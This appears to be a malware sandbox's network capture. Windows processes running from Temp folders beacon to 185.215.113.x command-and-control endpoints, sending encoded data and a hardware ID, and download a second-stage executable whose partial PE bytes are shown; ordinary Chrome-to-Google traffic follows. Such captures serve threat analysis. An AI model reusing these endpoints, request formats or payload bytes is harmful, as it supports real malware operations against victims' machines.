Nov 8, 2024 15:22:30.826210976 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 8, 2024 15:22:31.772097111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49894	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:33.447592974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 8, 2024 15:22:34.341646910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49896	185.215.113.206	80	7172	C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:35.620286942 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:22:36.533191919 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:22:36.536212921 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 38 31 32 32 33 44 44 41 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"C681223DDA4E758809014------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Nov 8, 2024 15:22:36.842020988 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49897	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:35.853423119 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 8, 2024 15:22:36.780328989 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49899	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:38.406668901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 8, 2024 15:22:39.371124029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49901	185.215.113.16	80	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:40.560066938 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 8, 2024 15:22:41.504189968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:41 GMT Content-Type: application/octet-stream Content-Length: 2125312 Last-Modified: Fri, 08 Nov 2024 14:04:33 GMT Connection: keep-alive ETag: "672e1a71-206e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 60 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 72 00 00 04 00 00 fe ec 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,`r@r @P.d. p.v@.rsrc .@.idata .@ ).@uikmugxwX@mucpsfolPrH @.taggant0`r"L @
Nov 8, 2024 15:22:41.504208088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:41.504220009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:41.504360914 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:41.504373074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:22:41.504383087 CET	212	IN	Data Raw: 84 b9 89 84 a4 82 51 6b 14 40 82 5b 6b 7c 87 e8 50 e9 07 f7 ef 81 fe 3f 2b 91 4a ca 13 72 81 e8 0b 35 e4 b7 13 0d 8a f4 0b 35 1e a6 13 0d 8a 00 0c 36 58 94 13 ee ff eb df b9 c7 ec f3 74 7f 44 9e 92 a7 29 68 36 94 9a db 1b 89 e9 fd 65 be f9 b9 85 Data Ascii: Qk@[k\|P?+Jr556XtD)h6e\|e.r3sx`<J8uFD~8ol7/K-z6\|q:,sVfdT1)v]o
Nov 8, 2024 15:22:41.504509926 CET	1236	IN	Data Raw: 97 f4 a1 59 b0 c1 3f 62 0a 33 66 a1 46 53 66 2e 7d f0 da 46 3a 01 ac fb e7 05 12 f4 fb 85 ef 20 68 91 0d 3c c9 65 ea 68 48 97 fd 85 87 2c 64 f6 c3 ba dd 7e bc 11 f0 2b 76 f1 12 51 88 79 de ac 96 bf 39 bd c4 7c 89 60 c4 d0 52 28 1d 94 e5 00 98 3d Data Ascii: Y?b3fFSf.}F: h<ehH,d~+vQy9\|`R(=Od8]bL;uAY+ztHD^S-\|5aOD29.raeb6Q%(Ux!{b<y`inmKgf D\yan('fq~-
Nov 8, 2024 15:22:41.504525900 CET	12	IN	Data Raw: 19 4f 9a 9e c1 1e 86 dd 83 a4 29 c8 Data Ascii: O)
Nov 8, 2024 15:22:41.504538059 CET	1236	IN	Data Raw: d4 c2 59 a4 82 a0 8b 89 90 53 ba ed d1 74 71 d8 d0 aa 42 5b e8 9b a6 c3 14 9c ad 48 a4 f3 d9 61 9b 65 9c 7a ee b6 6a 9a 40 95 0c ee e7 91 73 fc 7e b2 27 01 65 31 5b 2e b2 a2 6e 51 82 5c d0 c1 f5 d1 f9 db 2e 29 03 40 a4 fe bc c0 0c 04 88 ce c5 64 Data Ascii: YStqB[Haezj@s~'e1[.nQ\.)@d_T{\xTJrH)Cs}GXE#ULDI$\SJM!mYraY+JayEmHyz9($#LBltD
Nov 8, 2024 15:22:41.504550934 CET	1236	IN	Data Raw: b8 51 d4 85 e4 f9 71 78 04 b8 fd ec 6b dc 31 8d c4 2d 8c 57 b9 bd a5 2d 4a 39 83 ec 53 f9 cb c1 08 d3 31 bd 04 8a 55 ff c8 aa 4d 43 04 99 61 f6 a1 75 91 23 b0 94 21 e5 8f 99 f9 f8 07 88 4b c1 ee 8a 91 e4 b3 f5 8c da 98 aa 93 48 fd c1 a9 f5 cb f5 Data Ascii: Qqxk1-W-J9S1UMCau#!KHD=Ql$<X`\H3}AgEOt=.xb"9es4l=~ArzxxSC_45 "q@2
Nov 8, 2024 15:22:41.509216070 CET	1236	IN	Data Raw: a0 07 1a ed 37 f9 f4 c1 a0 54 be 04 40 8a ab a8 a3 e3 f4 18 f0 8a a2 b4 c2 8a 51 ee d8 8d 19 20 eb 92 61 e5 87 a9 fa 1c 45 d5 d6 68 d2 89 ad 14 ac 12 83 03 9c 41 ad 4a a1 b1 79 30 08 7f 4d a9 a4 f8 76 f6 98 81 d9 60 75 7e ca 84 ef 83 b6 64 75 8a Data Ascii: 7T@Q aEhAJy0Mv`u~duyMO4@)fu;2Imd<Y\|n($CM{KJ^qc{JM'lvh@S-s@qHVCu*"{:+!4n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49902	185.215.113.43	80	8952	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:22:40.885301113 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 8, 2024 15:22:41.782851934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	142.250.186.100	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:45 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-08 14:20:46 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:20:45 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Rp8Aq0ybgbyzEoRk4zRdZQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-08 14:20:46 UTC	112	IN	Data Raw: 63 65 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 69 6c 69 74 61 72 79 20 76 65 74 65 72 61 6e 73 20 64 61 79 20 64 69 73 63 6f 75 6e 74 73 22 2c 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 22 64 62 64 20 6b 69 6c 6c 65 72 20 74 68 65 20 68 6f 75 6e 64 6d 61 73 74 65 72 22 2c 22 6e 69 Data Ascii: ce9)]}'["",["military veterans day discounts","college football predictions","dbd killer the houndmaster","ni
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 67 61 6d 65 73 22 2c 22 61 76 65 72 61 67 65 20 6d 6f 72 74 67 61 67 65 20 72 61 74 65 22 2c 22 77 68 69 72 6c 77 69 6e 64 20 6d 61 72 72 69 61 67 65 20 73 65 63 72 65 74 20 74 77 69 6e 73 22 2c 22 69 70 68 6f 6e 65 20 69 63 6c 6f 75 64 20 6e 6f 74 65 73 20 64 69 73 61 70 70 65 61 72 65 64 22 2c 22 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d Data Ascii: ntendo switch games","average mortgage rate","whirlwind marriage secret twins","iphone icloud notes disappeared","san francisco 49ers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbm
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 56 5a 47 4d 54 4e 75 59 54 4d 78 4d 30 4e 4b 57 6d 39 43 56 7a 68 45 56 7a 46 31 64 6d 45 30 5a 6b 56 57 64 58 56 53 4e 33 6c 4f 59 32 56 36 4b 32 68 70 64 44 64 31 64 30 6b 78 4d 33 4e 54 51 56 4a 72 5a 56 55 31 5a 6b 31 4a 61 47 4e 53 65 55 78 72 5a 54 4e 52 5a 79 74 45 4c 7a 52 7a 4e 44 56 54 59 58 4a 70 54 6a 42 73 52 48 42 53 53 47 74 43 64 56 64 73 4e 6c 41 79 52 69 38 33 4e 46 45 76 52 6d 35 34 54 6e 4a 4a 55 6b 52 79 5a 45 5a 76 64 55 63 33 55 6b 64 5a 4e 54 59 78 56 6e 42 48 55 55 34 30 52 55 52 49 64 44 59 33 52 32 63 78 65 54 56 6d 53 6c 45 76 53 7a 67 78 63 58 59 79 5a 58 42 47 64 6a 4e 33 4f 57 68 6d 57 6d 39 53 61 30 52 6a 63 31 46 46 4e 56 4e 4b 4d 31 52 7a 61 45 30 33 61 56 4a 57 53 54 51 33 56 6b 51 77 52 6a 46 46 65 6d 5a 4e 61 55 4e 6c Data Ascii: VZGMTNuYTMxM0NKWm9CVzhEVzF1dmE0ZkVWdXVSN3lOY2V6K2hpdDd1d0kxM3NTQVJrZVU1Zk1JaGNSeUxrZTNRZytELzRzNDVTYXJpTjBsRHBSSGtCdVdsNlAyRi83NFEvRm54TnJJUkRyZEZvdUc3UkdZNTYxVnBHUU40RURIdDY3R2cxeTVmSlEvSzgxcXYyZXBGdjN3OWhmWm9Sa0Rjc1FFNVNKM1RzaE03aVJWSTQ3VkQwRjFFemZNaUNl
2024-11-08 14:20:46 UTC	444	IN	Data Raw: 44 57 55 6c 4a 50 54 6f 54 55 32 46 75 49 45 5a 79 59 57 35 6a 61 58 4e 6a 62 79 41 30 4f 57 56 79 63 30 6f 48 49 32 45 7a 4d 44 41 77 4d 46 49 2b 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 45 52 51 4d 56 52 6a 64 30 73 34 63 58 4a 4f 52 30 51 77 52 57 6b 31 54 33 70 47 54 6b 6c 4c 4d 48 4a 4e 55 7a 67 30 63 31 52 7a 4e 56 68 4e 54 45 5a 4e 54 46 4e 76 52 30 46 4b 62 48 56 44 61 48 64 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a Data Ascii: DWUlJPToTU2FuIEZyYW5jaXNjbyA0OWVyc0oHI2EzMDAwMFI+Z3Nfc3NwPWVKemo0dERQMVRjd0s4cXJOR0QwRWk1T3pGTklLMHJNUzg0c1RzNVhNTEZNTFNvR0FKbHVDaHdwBw\u003d\u003d","zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":
2024-11-08 14:20:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49712	142.250.186.100	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:46 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCIrTzQEIx9TNAQih1s0BCKjYzQEI+cDUFRjBy8wBGLrSzQEYxdjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-08 14:20:46 UTC	1042	IN	HTTP/1.1 200 OK Version: 691321546 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 08 Nov 2024 14:20:46 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-08 14:20:46 UTC	336	IN	Data Raw: 33 66 31 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3f10)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-08 14:20:46 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd 